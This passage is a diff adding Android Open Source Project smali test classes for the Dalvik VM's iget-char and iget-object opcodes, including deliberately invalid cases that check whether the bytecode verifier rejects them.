--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_31.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_char/d/T_iget_char_31;->st_i1:C
+    return v0
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.smali
new file mode 100644
index 0000000..c5bb0f7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.smali

@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_35.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 2
+       iget-char v0, v1, Ldot/junit/opcodes/iget_char/TestStubs;->TestStubProtectedField:C
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.smali
new file mode 100644
index 0000000..86ec697
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_4.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_4;->i1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.smali
new file mode 100644
index 0000000..bcc037d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_5.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_5;->i1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.smali
new file mode 100644
index 0000000..20a13cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_6.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_char/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_char/TestStubs;-><init>()V
+
+       iget-char v1, v0, Ldot/junit/opcodes/iget_char/TestStubs;->TestStubField:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.smali
new file mode 100644
index 0000000..363060b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_7.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_7no_class;->i1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.smali
new file mode 100644
index 0000000..1f49589
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_8.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_8;->i1N:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.smali
new file mode 100644
index 0000000..f940970
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_9.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_9;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       const v0, 0    
+       iget-char v1, v0, Ldot/junit/opcodes/iget_char/d/T_iget_char_9;->i1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.smali
new file mode 100644
index 0000000..abcb9bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_11.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_11;
+.super  Ldot/junit/opcodes/iget_object/d/T_iget_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       iget-object v1, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->p1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.smali
new file mode 100644
index 0000000..2a9c908
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_12.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_12;
+.super  Ldot/junit/opcodes/iget_object/d/T_iget_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       iget-object v1, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->pvt1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.smali
new file mode 100644
index 0000000..107927f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_13.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_13;->i1:Ljava/lang/Object;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.smali
new file mode 100644
index 0000000..9d66de3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_14.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_14;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_14;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.smali
new file mode 100644
index 0000000..4a1e1d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_15.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_15;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.smali
new file mode 100644
index 0000000..b346f3f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_16.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_16;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.smali
new file mode 100644
index 0000000..222b0b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_17.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_17;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.smali
new file mode 100644
index 0000000..f438245
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_18.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_18;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.smali
new file mode 100644
index 0000000..d11e76e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_19.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_19;->i1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.smali
new file mode 100644
index 0000000..bc1bd1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_20.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_20;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.smali
new file mode 100644
index 0000000..7b6e370
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_22.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_22;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_object/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_object/TestStubs;-><init>()V
+
+       iget-object v1, v0, Ldot/junit/opcodes/iget_object/TestStubs;->TestStubProtectedField:Ljava/lang/Object;
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.smali
new file mode 100644
index 0000000..433800c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.smali

@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_35.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 2
+       iget-object v0, v1, Ldot/junit/opcodes/iget_object/TestStubs;->TestStubProtectedField:Ljava/lang/Object;
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.smali
new file mode 100644
index 0000000..8bbc406
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_6.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_object/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_object/TestStubs;-><init>()V
+
+       iget-object v1, v0, Ldot/junit/opcodes/iget_object/TestStubs;->TestStubField:Ljava/lang/Object;
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.smali
new file mode 100644
index 0000000..256cb08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_7.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       iget-object v1, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_7no_class;->i1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.smali
new file mode 100644
index 0000000..64c9137
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_8.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
